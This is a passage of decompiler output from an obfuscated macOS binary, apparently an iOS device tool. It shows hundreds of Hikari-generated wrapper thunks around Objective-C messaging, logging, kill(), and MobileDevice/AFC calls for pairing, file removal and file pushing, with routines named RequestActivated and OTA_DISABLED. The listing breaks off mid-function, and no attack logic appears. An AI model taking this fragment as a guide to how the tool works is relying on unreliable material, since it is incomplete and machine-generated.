void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17846(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021FFA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17847(__int64 a1)
{
HikariFunctionWrapper_17846(a1);
}
//----- (000000010021FFB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17848(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021FFC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17849(NSString *a1)
{
HikariFunctionWrapper_17848(a1);
}
//----- (000000010021FFD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17850(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021FFE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17851(void *a1, const char *a2)
{
HikariFunctionWrapper_17850(a1, a2);
}
//----- (000000010021FFF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17852(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (0000000100220000) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17853(__int64 a1)
{
return HikariFunctionWrapper_17852(a1);
}
//----- (0000000100220010) ----------------------------------------------------
id HikariFunctionWrapper_17854()
{
return RequestActivated();
}
//----- (0000000100220020) ----------------------------------------------------
id HikariFunctionWrapper_17855()
{
return HikariFunctionWrapper_17854();
}
//----- (0000000100220030) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17856()
{
OTA_DISABLED();
}
//----- (0000000100220040) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17857()
{
HikariFunctionWrapper_17856();
}
//----- (0000000100220050) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17858(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220060) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17859(NSString *a1)
{
HikariFunctionWrapper_17858(a1);
}
//----- (0000000100220070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17860(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17861(void *a1, const char *a2)
{
HikariFunctionWrapper_17860(a1, a2);
}
//----- (0000000100220090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17862(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002200A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17863(void *a1, const char *a2)
{
HikariFunctionWrapper_17862(a1, a2);
}
//----- (00000001002200B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17864(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002200C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17865(void *a1, const char *a2)
{
HikariFunctionWrapper_17864(a1, a2);
}
//----- (00000001002200D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17866(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002200E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17867(void *a1, const char *a2)
{
HikariFunctionWrapper_17866(a1, a2);
}
//----- (00000001002200F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17868(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100220100) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17869(__int64 a1)
{
return HikariFunctionWrapper_17868(a1);
}
//----- (0000000100220110) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17870(__int64 a1)
{
return AFCConnectionClose(a1);
}
// 1002560F0: using guessed type __int64 __fastcall AFCConnectionClose(_QWORD);
//----- (0000000100220120) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17871(__int64 a1)
{
return HikariFunctionWrapper_17870(a1);
}
//----- (0000000100220130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17872(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17873(void *a1, const char *a2)
{
return HikariFunctionWrapper_17872(a1, a2);
}
//----- (0000000100220150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17874(void *a1)
{
showOkMessageBasic(a1);
}
//----- (0000000100220160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17875(void *a1)
{
HikariFunctionWrapper_17874(a1);
}
//----- (0000000100220170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17876(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100220180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17877(objc_class *a1)
{
return HikariFunctionWrapper_17876(a1);
}
//----- (0000000100220190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17878(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002201A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17879(void *a1, const char *a2)
{
HikariFunctionWrapper_17878(a1, a2);
}
//----- (00000001002201B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17880(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002201C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17881(void *a1, const char *a2)
{
return HikariFunctionWrapper_17880(a1, a2);
}
//----- (00000001002201D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17882(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002201E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17883(void *a1, const char *a2)
{
HikariFunctionWrapper_17882(a1, a2);
}
//----- (00000001002201F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17884(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17885(void *a1, const char *a2)
{
HikariFunctionWrapper_17884(a1, a2);
}
//----- (0000000100220210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17886(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17887(void *a1, const char *a2)
{
HikariFunctionWrapper_17886(a1, a2);
}
//----- (0000000100220230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17888(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17889(NSString *a1)
{
HikariFunctionWrapper_17888(a1);
}
//----- (0000000100220250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17890(void *a1)
{
return objc_begin_catch(a1);
}
//----- (0000000100220260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17891(void *a1)
{
return HikariFunctionWrapper_17890(a1);
}
//----- (0000000100220270) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17892(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17893(NSString *a1)
{
HikariFunctionWrapper_17892(a1);
}
//----- (0000000100220290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17894(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001002202A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17895(objc_class *a1)
{
return HikariFunctionWrapper_17894(a1);
}
//----- (00000001002202B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17896(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002202C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17897(void *a1, const char *a2)
{
return HikariFunctionWrapper_17896(a1, a2);
}
//----- (00000001002202D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17898(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002202E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17899(NSString *a1)
{
HikariFunctionWrapper_17898(a1);
}
//----- (00000001002202F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17900(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17901(void *a1, const char *a2)
{
return HikariFunctionWrapper_17900(a1, a2);
}
//----- (0000000100220310) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17902(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220320) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17903(void *a1, const char *a2)
{
return HikariFunctionWrapper_17902(a1, a2);
}
//----- (0000000100220330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17904(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100220340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17905(void *a1)
{
HikariFunctionWrapper_17904(a1);
}
//----- (0000000100220350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17906(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17907(void *a1, const char *a2)
{
return HikariFunctionWrapper_17906(a1, a2);
}
//----- (0000000100220370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17908(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17909(void *a1, const char *a2)
{
return HikariFunctionWrapper_17908(a1, a2);
}
//----- (0000000100220390) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17910(pid_t a1, int a2)
{
return kill(a1, a2);
}
//----- (00000001002203A0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17911(pid_t a1, int a2)
{
return HikariFunctionWrapper_17910(a1, a2);
}
//----- (00000001002203B0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17912(pid_t a1, int a2)
{
return kill(a1, a2);
}
//----- (00000001002203C0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17913(pid_t a1, int a2)
{
return HikariFunctionWrapper_17912(a1, a2);
}
//----- (00000001002203D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17914(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002203E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17915(void *a1, const char *a2)
{
return HikariFunctionWrapper_17914(a1, a2);
}
//----- (00000001002203F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17916(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17917(void *a1, const char *a2)
{
HikariFunctionWrapper_17916(a1, a2);
}
//----- (0000000100220410) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17918(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220420) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17919(void *a1, const char *a2)
{
HikariFunctionWrapper_17918(a1, a2);
}
//----- (0000000100220430) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17920(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100220440) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17921(void *a1, const char *a2)
{
HikariFunctionWrapper_17920(a1, a2);
}
//----- (0000000100220450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17922(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17923(void *a1, const char *a2)
{
return HikariFunctionWrapper_17922(a1, a2);
}
//----- (0000000100220470) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17924(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100220480) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17925(NSString *a1)
{
HikariFunctionWrapper_17924(a1);
}
//----- (0000000100220490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17926(void *a1)
{
return objc_begin_catch(a1);
}
//----- (00000001002204A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17927(void *a1)
{
return HikariFunctionWrapper_17926(a1);
}
//----- (00000001002204B0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17928()
{
objc_end_catch();
}
//----- (00000001002204C0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17929()
{
HikariFunctionWrapper_17928();
}
//----- (00000001002204D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17930(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001002204E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17931(objc_class *a1)
{
return HikariFunctionWrapper_17930(a1);
}
//----- (00000001002204F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17932(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17933(void *a1, const char *a2)
{
return HikariFunctionWrapper_17932(a1, a2);
}
//----- (0000000100220510) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17934(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220520) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17935(void *a1, const char *a2)
{
return HikariFunctionWrapper_17934(a1, a2);
}
//----- (0000000100220530) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17936(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100220540) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17937(void *a1)
{
HikariFunctionWrapper_17936(a1);
}
//----- (0000000100220550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17938(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17939(void *a1, const char *a2)
{
return HikariFunctionWrapper_17938(a1, a2);
}
//----- (0000000100220570) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17940(pid_t a1, int a2)
{
return kill(a1, a2);
}
//----- (0000000100220580) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17941(pid_t a1, int a2)
{
return HikariFunctionWrapper_17940(a1, a2);
}
//----- (0000000100220590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17942(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002205A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17943(NSString *a1)
{
HikariFunctionWrapper_17942(a1);
}
//----- (00000001002205B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17944(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002205C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17945(NSString *a1)
{
HikariFunctionWrapper_17944(a1);
}
//----- (00000001002205D0) ----------------------------------------------------
int *HikariFunctionWrapper_17946()
{
return __error();
}
//----- (00000001002205E0) ----------------------------------------------------
int *HikariFunctionWrapper_17947()
{
return HikariFunctionWrapper_17946();
}
//----- (00000001002205F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17948(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17949(void *a1, const char *a2)
{
return HikariFunctionWrapper_17948(a1, a2);
}
//----- (0000000100220610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17950(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220620) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17951(void *a1, const char *a2)
{
return HikariFunctionWrapper_17950(a1, a2);
}
//----- (0000000100220630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17952(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17953(void *a1, const char *a2)
{
return HikariFunctionWrapper_17952(a1, a2);
}
//----- (0000000100220650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17954(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17955(void *a1, const char *a2)
{
return HikariFunctionWrapper_17954(a1, a2);
}
//----- (0000000100220670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17956(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17957(void *a1, const char *a2)
{
return HikariFunctionWrapper_17956(a1, a2);
}
//----- (0000000100220690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17958(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002206A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17959(void *a1, const char *a2)
{
return HikariFunctionWrapper_17958(a1, a2);
}
//----- (00000001002206B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17960(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002206C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17961(void *a1, const char *a2)
{
return HikariFunctionWrapper_17960(a1, a2);
}
//----- (00000001002206D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17962(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002206E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17963(void *a1, const char *a2)
{
return HikariFunctionWrapper_17962(a1, a2);
}
//----- (00000001002206F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17964(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17965(void *a1, const char *a2)
{
return HikariFunctionWrapper_17964(a1, a2);
}
//----- (0000000100220710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17966(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17967(void *a1, const char *a2)
{
return HikariFunctionWrapper_17966(a1, a2);
}
//----- (0000000100220730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17968(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17969(void *a1, const char *a2)
{
return HikariFunctionWrapper_17968(a1, a2);
}
//----- (0000000100220750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17970(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17971(void *a1, const char *a2)
{
return HikariFunctionWrapper_17970(a1, a2);
}
//----- (0000000100220770) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17972(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220780) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17973(void *a1, const char *a2)
{
return HikariFunctionWrapper_17972(a1, a2);
}
//----- (0000000100220790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17974(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002207A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17975(void *a1, const char *a2)
{
return HikariFunctionWrapper_17974(a1, a2);
}
//----- (00000001002207B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17976(void *a1)
{
showErrMessage(a1);
}
//----- (00000001002207C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17977(void *a1)
{
HikariFunctionWrapper_17976(a1);
}
//----- (00000001002207D0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17978(const char *a1)
{
return printf(a1);
}
//----- (00000001002207E0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17979(const char *a1)
{
return HikariFunctionWrapper_17978(a1);
}
//----- (00000001002207F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17980(__int64 a1)
{
return AFCFileRefOpen(a1);
}
// 10025611A: using guessed type __int64 __fastcall AFCFileRefOpen(_QWORD);
//----- (0000000100220800) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17981(__int64 a1)
{
return HikariFunctionWrapper_17980(a1);
}
//----- (0000000100220810) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17982(__int64 a1)
{
return AFCFileRefOpen(a1);
}
// 10025611A: using guessed type __int64 __fastcall AFCFileRefOpen(_QWORD);
//----- (0000000100220820) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17983(__int64 a1)
{
return HikariFunctionWrapper_17982(a1);
}
//----- (0000000100220830) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17984(__int64 a1)
{
return AFCFileRefClose(a1);
}
// 100256114: using guessed type __int64 __fastcall AFCFileRefClose(_QWORD);
//----- (0000000100220840) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17985(__int64 a1)
{
return HikariFunctionWrapper_17984(a1);
}
//----- (0000000100220850) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17986(__int64 a1)
{
return AFCDirectoryOpen(a1);
}
// 100256102: using guessed type __int64 __fastcall AFCDirectoryOpen(_QWORD);
//----- (0000000100220860) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17987(__int64 a1)
{
return HikariFunctionWrapper_17986(a1);
}
//----- (0000000100220870) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17988(__int64 a1)
{
return AFCDirectoryRead(a1);
}
// 100256108: using guessed type __int64 __fastcall AFCDirectoryRead(_QWORD);
//----- (0000000100220880) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17989(__int64 a1)
{
return HikariFunctionWrapper_17988(a1);
}
//----- (0000000100220890) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17990(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (00000001002208A0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17991(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17990(a1, a2);
}
//----- (00000001002208B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17992(__int64 a1)
{
return AFCDirectoryRead(a1);
}
// 100256108: using guessed type __int64 __fastcall AFCDirectoryRead(_QWORD);
//----- (00000001002208C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17993(__int64 a1)
{
return HikariFunctionWrapper_17992(a1);
}
//----- (00000001002208D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17994(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (00000001002208E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17995(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17994(a1, a2);
}
//----- (00000001002208F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17996(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17997(void *a1, const char *a2)
{
return HikariFunctionWrapper_17996(a1, a2);
}
//----- (0000000100220910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17998(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17999(void *a1, const char *a2)
{
return HikariFunctionWrapper_17998(a1, a2);
}
//----- (0000000100220930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18000(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18001(void *a1, const char *a2)
{
return HikariFunctionWrapper_18000(a1, a2);
}
//----- (0000000100220950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18002(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100220960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18003(objc_class *a1)
{
return HikariFunctionWrapper_18002(a1);
}
//----- (0000000100220970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18004(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18005(void *a1, const char *a2)
{
return HikariFunctionWrapper_18004(a1, a2);
}
//----- (0000000100220990) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18006(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (00000001002209A0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_18007(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_18006(a1, a2, a3, a4);
}
//----- (00000001002209B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18008(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002209C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18009(void *a1, const char *a2)
{
return HikariFunctionWrapper_18008(a1, a2);
}
//----- (00000001002209D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18010(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002209E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18011(void *a1, const char *a2)
{
return HikariFunctionWrapper_18010(a1, a2);
}
//----- (00000001002209F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18012(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100220A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18013(void *a1, const char *a2)
{
